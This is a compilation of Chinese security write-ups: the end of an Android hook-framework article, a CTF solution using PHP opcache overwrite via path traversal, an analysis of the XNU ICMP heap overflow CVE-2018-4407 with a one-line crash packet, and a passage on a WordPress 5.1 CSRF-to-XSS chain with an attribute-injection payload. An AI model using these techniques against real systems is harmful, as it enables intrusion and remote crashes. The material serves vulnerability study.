上述介绍的hook框架，包括将要介绍的YAHFA，都属于”Native派”，其本质是修改`ArtMethod`结构体的内容；而其他hook框架，如Tinker,
Nuwa等大都是”Java派”，例如修改DexPathList等手段。由于Java派实现方式与Native派完全不同，这里就不再介绍了。
关于Native派和Java派，可参考[这篇文章](https://github.com/WeMobileDev/article/blob/master/ART%E4%B8%8B%E7%9A%84%E6%96%B9%E6%B3%95%E5%86%85%E8%81%94%E7%AD%96%E7%95%A5%E5%8F%8A%E5%85%B6%E5%AF%B9Android%E7%83%AD%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88%E7%9A%84%E5%BD%B1%E5%93%8D%E5%88%86%E6%9E%90.md)的介绍。
## YAHFA工作原理
### 方法替换
作为Native派的一员，YAHFA也是通过修改目标方法的`ArtMethod`结构体内容，来实现执行流程的变更。更具体地，是与Xposed相似，修改了entry_point_from_quick_compiled_code_和entry_point_from_jni_字段。
再次回忆方法调用的calling
convention，我们发现，调用原方法和调用hook方法，两者唯一不同点就是callee。也就是说，如果我们将保存callee的`eax`替换成为hook方法的`ArtMethod`，同时保持栈结构和其他寄存器的内容不变，再跳转到hook方法的entry_point_from_quick_compiled_code_，就实现了调用hook方法。
由此启发，我们将hook方法的`ArtMethod`地址保存在原方法的entry_point_from_jni_，并修改原方法的entry_point_from_quick_compiled_code_，使其指向一段辅助代码，在这里完成`eax`的设置和跳转：
mov 32(%eax), %eax ; 将eax设置为entry_point_from_jni_(偏移为32)的内容
push 36(%eax) ; entry_point_from_quick_compiled_code_在偏移为36处
ret ; 跳转到hook方法的entry_point_from_quick_compiled_code_
通过这三条简单的指令，便完成了从原方法到hook方法的跳转。相比Xposed更为简洁，可以直接进入hook方法的入口而无需再准备调用环境；相比AndFix和Legend，由于未修改原方法的其他字段，即使hook和原方法的方法名不同，在解析和查找时也不会出现NoSuchMethodError了。
####
## 原方法调用
为了能够在hook方法中调用原方法，我们必须要在修改原方法之前，对其进行备份。Legend在调用原方法时，是通过反射调用备份的方法，其开销相对比较大。那么如何能够减少这些额外的开销呢？
假设在hook方法中有这样一段调用：
origin("Hooked", msg);
那么如果我们在这里也做一次”hook”，将方法`origin`替换为我们要执行的原方法，那么hook方法在执行到这里时，实际调用的不就是我们的原方法了么？由于这里是直接调用而非反射，我们减少了开销，而且可以采用Legend与AndFix那种方式进行hook，即将`origin`的`ArtMethod`全部替换为原方法的`ArtMethod`。某种意义上讲，这里的`origin`其实是一个placeholder，它的实现可以为空，完全不用考虑，因为最终它会被替换成原方法。
当然，为了控制传入的参数，我们的hook方法和`origin`方法都是静态方法。另外，由于采取了完全替换`ArtMethod`进行原方法的备份，需要首先保证`origin`方法已经解析完成。我们在备份之前，手工更新dex_cache_resolved_methods_数组对应项，确保hook在调用`origin`时无需再进行方法解析。
####
## 再论hook
前面讲了这么多，那么究竟什么是hook？hook是做什么的？可能不同人会有不同的侧重点，但从本质上来讲，hook就是在运行时，动态改变原有的执行流程。
然而，要做到hook，就必须存在一个注入代码的窗口。这可以大致分为以下两类：
* 应用自带一个这样的窗口，可以接收外部提供的代码，这便是热修复所使用的。通常来说，热修复框架都需要应用在初始化时加载补丁代码。由于窗口是应用自带的，我们并不需要root权限
* 应用本身并没有这样的窗口，或者我们并不知道是否有这样的窗口，这便是逆向分析时经常遇到的。Xposed的解决方式，是替换系统库，为所有应用添加了一个加载外部代码的窗口，而这就必须有root权限
YAHFA作为一个hook框架，其实际上就是实现了这样一个窗口，可以加载外部代码并替换原有执行流程。如果是用于热修复，那么与其他hook框架类似；如果是在逆向分析时使用，那么还需要通过其他手段将这个窗口添加到应用中，YAHFA本身并不像Xposed那样是具有这种能力的。
设计YAHFA的出发点，是为了便于安全研究和逆向分析，热修复并不是其主要目的。所以，YAHFA并没有过多地考虑稳定性和适配，目前完成了Android
5.1和6.0的测试，包括主要的架构(x86和armeabi)。
## 总结
YAHFA的代码可见 _ **[这里](https://github.com/rk700/YAHFA)**_
。其主要功能是通过C实现，主要是作为思路验证和PoC，因此还有不完善之处。Repo中还包含了一个demoApp用于示例，如果有问题欢迎提issue。
## 参考资料
* <https://github.com/asLody/Legend>
* <https://github.com/alibaba/AndFix>
* <https://github.com/rovo89/android_art> | 社区文章 |
* <http://202.120.7.217:9527/>
#### 入口代码审计
<?php
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
* `upload`参数上传的文件可以跳路径。
* 触发代码执行的点只有`shell`参数，意味着我们要控制`index.php`的内容。
#### 思路
如何在`index.php`已经存在的情况下，覆盖该文件逻辑，并绕过php后缀过滤。
* <http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/>
这个思路出过比赛，这里使用`action=phpinfo`参数查看配置，果然开启了opcache，但和以往题目不同的是，环境对cache的timestamp做了验证`validate_timestamps
= 1`。
幸运的是上面链接仍然给出了bypass timestamp的方法，即获取到文件创建时的timestamp，然后写到cache的bin里面。
此外，再获取到目标环境的system_id，即可构造出可用的恶意opcache。
#### 获取timestamp
注意到开始的php代码中有两个参数：
* time：获取当前timestamp
* reset：删除当前目录下文件
二者结合即可精确拿到timestamp
import requests
print requests.get('http://202.120.7.217:9527/index.php?action=time').content
print requests.get('http://202.120.7.217:9527/index.php?action=reset').content
print requests.get('http://202.120.7.217:9527/index.php?action=time').content
运行后1和3的结果一致。
#### 获取system_id
上文链接中给出的github项目给出了system_id的生成代码：
* <https://github.com/GoSecure/php7-opcache-override>
所需的数据均可从phpinfo提取，计算结果：
PHP version : 7.0.28
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------ System ID : 7badddeddbd076fe8352e80d8ddf3e73
#### 构造恶意opcache
在phpinfo中寻找opcache相关配置，并按照pwd参数的路径，在本地启动一个同版本、同配置、同目录的php项目，然后将index.php内容写入需要执行的代码。
访问之，在/tmp/cache目录生成cache文件，然后将文件导入010editor，将system_id和timestamp两个字段修改为题目数据。
#### 代码执行
然后通过upload参数，配合路径穿越，将`index.php.bin`上传到opcache所在位置(由于`.bin`是后缀，正好绕过了正则)：
/../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/sandbox/209a9184b3302dc0ff24bc20b7b8844eab478cb6/index.php.bin
然后请求`shell`参数，当`index.php`被加载时，实际加载的是我们上传的opcache，回显可以看到opcache中php代码执行结果。
#### 文件修复
通过`scandir`发现路径，然后拿到这个bin文件。
@print_r(file_get_contents('flag/93f4c28c0cf0b07dfd7012dca2cb868cc0228cad'));
看了下可见字符，该文件存在OPCACHE头，是`/var/www/html/flag.php`的opcache文件。但无法正常解析，与正确的文件对了下格式，补全一个`00`即可正常解析。
#### 粗粒度指令还原
使用前文链接github中给出的opcache分析工具，可以还原部分指令。
这个工具要安装旧版本依赖。
pip install construct==2.8.22
pip install treelib
pip install termcolor
python opcache_disassembler.py -c -a64 ../../flag.php.bin
结果如下（代码里包含了我加的缩进和猜测）：
function encrypt() {
#0 !0 = RECV(None, None); //两个接收参数
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand'); mt_srand(1337)
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0); for($i
#11 JMP(->-24, None); 循环开始
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord'); ord($a[$i])
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord'); ord($b[$i])
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand'); mt_rand(0,255)
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None); chr的传参
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None); i++
#32 IS_SMALLER(None, None); for 条件 i<?
#33 JMPNZ(None, ->134217662); 循环结束
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);
}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);
}
#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);
其实这段代码缺失了很多关键信息，在这里Ricter已经准确的瞎j8猜出了逻辑并还原了php代码（膜！），而且写出了逆向加密的代码（XOR可逆，直接把密文输入enc函数再算一遍即可得到明文），如下：
<?php
function encrypt() {
$t = "";
$s = "\x85\xb9T\xfc\x83\x80\xa4f'nJH$\x9d\xddJ\x19\x9f\xc3N[\x06\x14d\xe4)_\xc5\x02\x0c\x88\xbf\xd8TU\x19\xab";
$k = 'this_is_a_very_secret_keythis_is_a_very_secret_keythis_is_a_very_secret_keythis_is_a_very_secret_keythis_is_a_very_secret_key';
mt_srand(1337);
for ($i=0; $i<37; $i ++) {
$n = mt_rand(0, 255);
$r = ord($s[$i]) ^ $n ^ ord($k[$i]);
$t .= chr($r);
}
return $t;
}
echo encrypt();
执行后可得到flag。
但这个脚本我俩执行完都是乱码，于是怀疑还原的不对，毕竟opcache的粗粒度指令丢失了很多信息。
事实是主办方线上题目的PHP版本是7.0，但生成这个opcache的版本是7.2(主办方后续发hint澄清)，导致`mt_rand`函数在设置相同seed的情况下仍有不同结果，因此解密失败。
然而我们在这里继续尝试使用vld插件还原出完整的opcode，再精确还原出php代码。
#### 精确指令还原
VLD插件与OPCODE不再赘述。
apt-get install php7.0-dev
wget http://pecl.php.net/get/vld-0.14.0.tgz
tar -xzvf vld-0.14.0.tgz
cd vld-0.14.0/
cat README.rst
which php-config
phpize
./configure --with-php-config=/usr/bin/php-config --enable-vld
make && make install
php --ini
vi /etc/php/7.0/cli/php.ini
service apache2 restart
php -dvld.active=1 -dvld.execute=0 phpinfo.php
现在需要在本地把opcache跑起来，然后通过vld插件拿到opcode。
本地环境安装vld之后，在`php.ini`开启`opcache.enable_cli`。
然后本地创建`/var/www/html/flag.php`，生成opcache，用010editor解除`system_id`和`timestamp`值，写入我们待解的opcache，然后将其放到`/tmp/cache`对应目录下。
root@iZj6ccwgu73ligyn42bic9Z:/var/www/html# php -d vld.active=1 -d vld.execute=0 -dvld.save_dir=png -dvld.save_paths=1 -f /var/www/html/flag.php
Finding entry points
Branch analysis from position: 0
Jump found. (Code = 43) Position 1 = 7, Position 2 = 9
Branch analysis from position: 7
Jump found. (Code = 79) Position 1 = -2
Branch analysis from position: 9
Jump found. (Code = 79) Position 1 = -2
filename: /var/www/html/flag.php
function name: (null)
number of ops: 11
compiled vars: !0 = $flag
line #* E I O op fetch ext return operands
------------------------------------------------------------------------------------- 27 0 E > ASSIGN !0, 'input_your_flag_here'
29 1 INIT_FCALL 'encrypt'
2 SEND_VAL 'this_is_a_very_secret_key'
3 SEND_VAR !0
4 DO_UCALL $2
5 IS_IDENTICAL ~1 $2, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab'
6 > JMPZ ~1, ->9
30 7 > ECHO 'Congratulation%21+You+got+it%21'
35 8 > EXIT
32 9 > ECHO 'Wrong+Answer'
35 10 > EXIT
branch: # 0; line: 27- 29; sop: 0; eop: 6; out1: 7; out2: 9
branch: # 7; line: 30- 35; sop: 7; eop: 8; out1: -2
branch: # 9; line: 32- 35; sop: 9; eop: 10; out1: -2
path #1: 0, 7,
path #2: 0, 9,
Function encrypt:
Finding entry points
Branch analysis from position: 0
Jump found. (Code = 42) Position 1 = 32
Branch analysis from position: 32
Jump found. (Code = 44) Position 1 = 34, Position 2 = 12
Branch analysis from position: 34
Jump found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
Jump found. (Code = 44) Position 1 = 34, Position 2 = 12
Branch analysis from position: 34
Branch analysis from position: 12
filename: /var/www/html/flag.php
function name: encrypt
number of ops: 38
compiled vars: !0 = $pwd, !1 = $data, !2 = $cipher, !3 = $pwd_length, !4 = $data_length, !5 = $i
line #* E I O op fetch ext return operands
------------------------------------------------------------------------------------- 16 0 E > RECV !0
1 RECV !1
17 2 INIT_FCALL 'mt_srand'
3 SEND_VAL 1337
4 DO_ICALL
18 5 ASSIGN !2, ''
19 6 STRLEN ~6 !0
7 ASSIGN !3, ~6
20 8 STRLEN ~6 !1
9 ASSIGN !4, ~6
21 10 ASSIGN !5, 0
11 > JMP ->32
22 12 > INIT_FCALL 'chr'
13 INIT_FCALL 'ord'
14 FETCH_DIM_R $6 !1, !5
15 SEND_VAR $6
16 DO_ICALL $6
17 INIT_FCALL 'ord'
18 MOD ~8 !5, !3
19 FETCH_DIM_R $7 !0, ~8
20 SEND_VAR $7
21 DO_ICALL $8
22 BW_XOR ~7 $6, $8
23 INIT_FCALL 'mt_rand'
24 SEND_VAL 0
25 SEND_VAL 255
26 DO_ICALL $8
27 BW_XOR ~6 ~7, $8
28 SEND_VAL ~6
29 DO_ICALL $6
30 ASSIGN_CONCAT 0 !2, $6
21 31 PRE_INC !5
32 > IS_SMALLER ~6 !5, !4
33 > JMPNZ ~6, ->12
24 34 > INIT_FCALL 'encode'
35 SEND_VAR !2
36 DO_UCALL $6
37 > RETURN $6
branch: # 0; line: 16- 21; sop: 0; eop: 11; out1: 32
branch: # 12; line: 22- 21; sop: 12; eop: 31; out1: 32
branch: # 32; line: 21- 21; sop: 32; eop: 33; out1: 34; out2: 12
branch: # 34; line: 24- 24; sop: 34; eop: 37; out1: -2
path #1: 0, 32, 34,
path #2: 0, 32, 12, 32, 34,
End of function encrypt
Function encode:
Finding entry points
Branch analysis from position: 0
Jump found. (Code = 42) Position 1 = 20
Branch analysis from position: 20
Jump found. (Code = 44) Position 1 = 23, Position 2 = 4
Branch analysis from position: 23
Jump found. (Code = 62) Position 1 = -2
Branch analysis from position: 4
Jump found. (Code = 43) Position 1 = 15, Position 2 = 18
Branch analysis from position: 15
Jump found. (Code = 42) Position 1 = 19
Branch analysis from position: 19
Jump found. (Code = 44) Position 1 = 23, Position 2 = 4
Branch analysis from position: 23
Branch analysis from position: 4
Branch analysis from position: 18
Jump found. (Code = 44) Position 1 = 23, Position 2 = 4
Branch analysis from position: 23
Branch analysis from position: 4
filename: /var/www/html/flag.php
function name: encode
number of ops: 24
compiled vars: !0 = $string, !1 = $hex, !2 = $i, !3 = $tmp
line #* E I O op fetch ext return operands
------------------------------------------------------------------------------------- 3 0 E > RECV !0
4 1 ASSIGN !1, ''
5 2 ASSIGN !2, 0
3 > JMP ->20
6 4 > INIT_FCALL 'dechex'
5 INIT_FCALL 'ord'
6 FETCH_DIM_R $4 !0, !2
7 SEND_VAR $4
8 DO_ICALL $4
9 SEND_VAR $4
10 DO_ICALL $4
11 ASSIGN !3, $4
7 12 STRLEN ~5 !3
13 IS_EQUAL ~4 ~5, 1
14 > JMPZ ~4, ->18
8 15 > CONCAT ~4 '0', !3
16 ASSIGN_CONCAT 0 !1, ~4
17 > JMP ->19
10 18 > ASSIGN_CONCAT 0 !1, !3
5 19 > PRE_INC !2
20 > STRLEN ~5 !0
21 IS_SMALLER ~4 !2, ~5
22 > JMPNZ ~4, ->4
13 23 > > RETURN !1
branch: # 0; line: 3- 5; sop: 0; eop: 3; out1: 20
branch: # 4; line: 6- 7; sop: 4; eop: 14; out1: 15; out2: 18
branch: # 15; line: 8- 8; sop: 15; eop: 17; out1: 19
branch: # 18; line: 10- 5; sop: 18; eop: 18; out1: 19
branch: # 19; line: 5- 5; sop: 19; eop: 19; out1: 20
branch: # 20; line: 5- 5; sop: 20; eop: 22; out1: 23; out2: 4
branch: # 23; line: 13- 13; sop: 23; eop: 23; out1: -2
path #1: 0, 20, 23,
path #2: 0, 20, 4, 15, 19, 20, 23,
path #3: 0, 20, 4, 18, 19, 20, 23,
End of function encode
还原出的php逻辑和之前猜的一样。
<?php
function encrypt($var_0, $var_1) {
mt_srand(1337);
$var_2 = '';
$var_3 = strlen($var_0); // key_length
$var_4 = strlen($var_1); // flag length
for ($var_5=0; $var_5<$var_4; ++$var_5) {
$var_2 .= chr(
ord($var_1[$var_5]) ^ ord($var_0[$var_5 % $var_3]) ^ mt_rand(0, 255)
);
}
return $var_2;
}
$s = "\x85\xb9T\xfc\x83\x80\xa4f'nJH$\x9d\xddJ\x19\x9f\xc3N[\x06\x14d\xe4)_\xc5\x02\x0c\x88\xbf\xd8TU\x19\xab";
echo encrypt("this_is_a_very_secret_key", "$s");
* P.S. 用条件竞争出的兄弟真地秀！[<0CTF2018之ezDoor的全盘非预期解法>](https://blog.zsxsoft.com/post/36) | 社区文章 |
# CVE-2018-4407 XNU内核漏洞详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者:maldiohead@ 360 NirvanTeam
## 漏洞简述:
CVE-2018-4407是XNU内核的BSD网络模块的一个内核堆溢出漏洞，可以造成内核崩溃
受影响的系统有:
* macOS 10.13.6及以下
* iOS11 及以下
## 漏洞分析
twitter上的poc:
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))
本次分析以这个poc为说明。
通过wireshark抓包,根据ip头数据结构，发现ip头数据是没问题的，然后根据options的结构体发现ip Options的数据格式不合法。Ip
options主要是用来测试,调试等目的用的。
IP options 的结构说明
公开的poc网络请求的数据包填充了8字节的options数据。下图是抓包得来的数据。
Poc中的ip options的数据
可以发现ip options的数据完全不合法,
通过分析XNU内核代码，我们找到了处理ip options的相关处理函数ip_dooptions
文件位置(darwin-xnu\bsd\netinet\ip_input.c)，在函数ip_dooptions中会循环解析options中的数据，如果中间某次出错就会直接goto到bad流程中。结合poc我们会看到这里optlen的值是0x41,
cnt是0x8所以这里会从3256行直接跳到bad流程中，而在bad流程中则会调用icmp_error函数(icmp_error的目的是构造一个类型错误的数据包，来响应来自远程的错误的ip数据包)。
解析ip option数据
在函数icmp_error中在下面这句导致了溢出:
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);
这是一个内存拷贝函数，会拷贝大小为icmplen长度的对象n中数据到icp->icmp_ip这个缓冲区中。所以对于这个内存拷贝函数，需要确定icmplen和目的缓冲区大小，就明确了为什么会产生这个漏洞。首先我们看一下icmplen的长度，通过分析会发现icmplen由下面这句代码确定:
icmplen = min(oiphlen + icmpelen, min(nlen, oip->iplen));
这里oiphlen是ip头与ipoptions之和即28字节，nlen是原始packet的长度，这里必然是大于oip->ip_len的，而oip->ip_len的长度是88字节，由于这个包是TCP包。所以icmpelen由281行代码确定(如下图)。
icmplen相关代码
通过分析数据包及代码，可以知道tcphlen长度为60字节
,icmp_datalen等于8，oip->ip_len等于88，所以icmpelen的值是60。分析完了所有与icmplen值相关的数据，最终确定icmplen这里的值是88。
所以接下来就是分析icp->icmp_ip缓冲区的大小，在294或296初始化一个mbuf，而icp就是属于mbuf对象的m_data成员。所以这里首先要判断m到底是由哪一行决定的。
分配m对象
根据前面的判断，我们可以知道sizeof(struct ip) + ICMP_MINLEN + icmplen)
大小是88，所以对于到底值调用294行的函数初始化mbuf还是296行，主要是看MHLEN的大小，查看了MHLEN的宏定义，由于m_hdr
,pkthdr的结构有点复杂
MHLEN定义
所以想直接知道MHLEN的准确值比较麻烦。于是我进行了内核调试，获取了这个值。
MHLEN得值
很明显MHLEN的值是0x57也就是87，所以mbuf的初始化就在296行这里进行的。
也就是调用m_getcl函数，对于这个函数，可以看到在3732行进行了mbuf对象内存的申请，mcache_alloc这个函数也是相当复杂的，这里对于分析这个漏洞没多大关系，就不再关注具体是怎么分配对象了。。
初始化mbuf
重点是MBUF_INIT这个宏代码（如下图），这里首先在888行判断pkthdr的值是否为0，结合上图的3726行代码，就会发现mbuf->m_data指针指向的是m_pktdat.
MBUF_INIT代码
对于m_ pktdat 定义:
#define m_pktdat M_dat.MH.MH_dat.MH_databuf
和mbuf的定义:
mbuf的定义
所以我们知道了m->m_data的大小是87字节。在这里icp指向的地址是m->m_data
对于代码:
m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);
结合前面的计算，我们知道了icp->icmp_ip就等于 &m->m_data[7]
,而此刻icmplen的值是88,icp->icmp_ip的大小之后87-8=79 ，所以拷贝过程中就造成了堆内存溢出。
对于Twitter上的poc来说，只要构造出来的数据包大于79字节即可造成溢出，
同时对于ip options并不需要填充8字节，只要能够造成在调用到bad流程就可以，经过我的测试，这里ip
options最小只需要1字节即可。总体的数据包大于79，就可以造成溢出。从而导致内核崩溃。
## 这个漏洞能利用吗?
通过分析，可以发现mbuf最大长度是2000字节，所以我们最大可以构造这么大的长度的数据包，来存放我们的shellcode，但是要想稳定利用，还得堆喷和内核信息泄露的漏洞结合起来，来达到远程代码执行的目的。
所以单个的这个漏洞很难实现稳定的远程代码执行的目的。
## 引用:
1. CVE-2018-4407 poc:
<https://twitter.com/ihackbanme/status/1057811965945376768>
2. Structure of the IP Datagram:
<http://www.rhyshaden.com/ipdgram.htm>
3. Kernel RCE caused by buffer overflow in Apple’s ICMP packet-handling code
<https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407>
4. Memory Buffers, Socket Manipulation, and Socket Input/Output
<https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/NKEConceptual/SocketManipulation/SocketManipulation.html> | 社区文章 |
# WordPress 5.1：从CSRF到RCE
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2019/wordpress-csrf-to-rce/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
注：此漏洞利用和环境较为复杂，实际价值可能并不是很高，但对于XSS与权限管理也有一定参考价值。
上个月我们公布了WordPress 5.0中一个远程代码执行（RCE）漏洞（需通过身份认证）。本文公布了WordPress
5.1中存在的另一个严重的漏洞利用链，使未经身份认证的攻击者能够在5.1.1版之前的WordPress中获得远程代码执行权限。
## 二、漏洞影响
如果WordPress站点启用了评论（comment）功能，那么攻击者可以诱骗目标网站管理员访问攻击者设置的一个站点，最终接管目标站点。一旦受害管理员访问恶意网站，攻击者就会在后台通过跨站请求伪造（CSRF）攻击目标WordPress站点，不会因此目标受害者警觉。CSRF攻击中滥用了WordPress中的多个逻辑缺陷及数据过滤错误，并且结合这些缺陷实现RCE，最终完全接管目标站点。
5.1.1版之前默认配置的WordPress受这些漏洞影响。
根据WordPress下载页面的统计数据，互联网上超过33%的站点正在使用WordPress。考虑到博客评论是博客网站的核心功能，默认情况下处于启用状态，因此该漏洞会影响数百万站点。
## 三、技术分析
攻击过程参考[此处视频](https://blog.ripstech.com/videos/wordpress-csrf-to-rce.mp4)。
### 评论表单中的CSRF
当用户发表新评论时，WordPress并没有检查是否存在CSRF。如果执行检查操作，那某些WordPress功能（如[`trackbacks`以及`pingbacks`](https://make.wordpress.org/support/user-manual/building-your-wordpress-community/trackbacks-and-pingbacks/)）将无法正常工作。这意味着攻击者可以通过CSRF攻击，以WordPress博客管理员用户的身份创建评论。
这可能成为一个安全问题，因为WordPress网站管理员可以在评论中使用任意HTML标签，甚至还可以使用`<script>`标签。理论上攻击者可以简单地滥用CSRF漏洞来创建包含恶意JavaScript代码的评论。
WordPress会在评论表单中为管理员生成一个额外的nonce值，通过这种方法尝试解决这个问题。当管理员提交评论并提供有效的nonce值时，WordPress将直接创建评论，没有执行任何过滤此操作。如果nonce值无效，那么评论仍可以创建，但会被过滤处理。
我们可以通过如下代码片段了解WordPress的处理过程。
源文件：`/wp-includes/comment.php`（简化版）：
⋮
if ( current_user_can( 'unfiltered_html' ) ) {
if (! wp_verify_nonce( $_POST['_wp_unfiltered_html_comment'], 'unfiltered-html-comment' )) {
$_POST['comment'] = wp_filter_post_kses($_POST['comment']); // line 3242
}
} else {
$_POST['comment'] = wp_filter_kses($_POST['comment']);
}
⋮
事实上，从[2009年](https://core.trac.wordpress.org/ticket/10931)起，WordPress就没有在评论表单中部署CSRF防护机制。
然而，我们发现针对管理员的过滤过程中存在一处逻辑缺陷。如上代码片段中，WordPress始终使用`wp_filter_kses()`来过滤评论，除非创建该评论的是具备`unfiltered_html`功能的管理员。如果满足该条件，并且没有提供有效的nonce值，那么WordPress就会使用`wp_filter_post_kses()`来过滤评论（上述代码第3242行）。
`wp_filter_post_kses()`与`wp_filter_kses()`在严格程度上有所区别。这两个函数都会处理未经过滤的评论，只在字符串中保留特定的HTML标签及属性。通常情况下，使用`wp_filter_kses()`过滤的评论只会留下非常基本的HTML标签及属性，比如`<a>`标签以及`href`属性。
这样攻击者就可以创建一些评论，其中包含比正常评论更多的HTML标签及属性。然而，虽然`wp_filter_post_kses()`更为宽松，但仍会删除可能导致跨站脚本漏洞的HTML标签及属性。
### 将HTML注入变成存储型XSS
由于我们能注入其他HTML标签及属性，最终还是可以在WordPress中实现存储型XSS。这是因为WordPress会以某种错误的方式解析并处理正常评论中通常不会设置的某些属性，导致出现任意属性注入问题。
当WordPress执行完评论的过滤过程后，就会修改评论字符串中的`<a>`标签，以适配SEO（搜索引擎优化）应用场景。
WordPress会将`<a>`标志的属性字符串（如`href="#" title="some link"
rel="nofollow"`）解析成一个关联数组（如下代码片段），其中key为属性名，而value为属性值。
源文件：`wp-includes/formatting.php`
function wp_rel_nofollow_callback( $matches ) {
$text = $matches[1];
$atts = shortcode_parse_atts($matches[1]);
⋮
随后WordPress会检查其中是否设置了`rel`属性。只有通过`wp_filter_post_kses()`过滤评论时才会设置该属性。如果设置了该属性，则WordPress会处理`rel`属性，然后再次与`<a>`标签拼接起来。
源文件：`wp-includes/formatting.php`
if (!empty($atts['rel'])) {
// the processing of the 'rel' attribute happens here
⋮
$text = '';
foreach ($atts as $name => $value) { // line 3017
$text .= $name . '="' . $value . '" '; // line 3018
}
}
return '<a ' . $text . ' rel="' . $rel . '">'; // line 3021
}
上述代码第3017及3018行处存在缺陷，其中属性值在没有被转义处理的情况下就再次拼接在一起。
攻击者可以创建包含精心构造的`<a>`标签的评论，并将`title`属性设置为`title='XSS " onmouseover=alert(1)
id="'`。这个属性是合法的HTML数据，因此可以通过数据过滤检查。然而，只有当`title`标签使用单引号时这种方法才有效。
当属性再次拼接时，`title`属性会被封装到双引号中（第3018行）。这意味着攻击者可以注入双引号，闭合`title`属性，因此可以注入其他HTML属性。
比如：`<a title='XSS " onmouseover=evilCode() id=" '>`在处理之后会变成`<a title="XSS "
onmouseover=evilCode() id=" ">`。
由于此时评论已经被过滤处理过，因此攻击者注入的`onmouseover`事件处理函数会存储在数据库中，不会被删除。将这种过滤缺陷与CSRF漏洞结合起来，攻击者就可以将存储型XSS
payload注入目标网站中。
### 通过iframe直接执行XSS
创建恶意评论后，为了实现远程代码执行（RCE），下一步攻击者需要让管理员执行已注入的JavaScript。WordPress评论会在目标博客的前端显示，而WordPress本身并没有使用`X-Frame-Options`来保护前端页面。这意味着攻击者可以以隐藏`iframe`的方式在网站上显示评论。由于注入的属性是一个`onmouseover`事件处理函数，因此攻击者可以让`iframe`跟随受害者鼠标，立刻触发XSS
payload。
这样一来，攻击者就可以在目标网站上使用触发CSRF漏洞的管理员会话来执行任意JavaScript代码。有所的JavaScript都在后台执行，不会引起管理员的注意。
### 提升至RCE
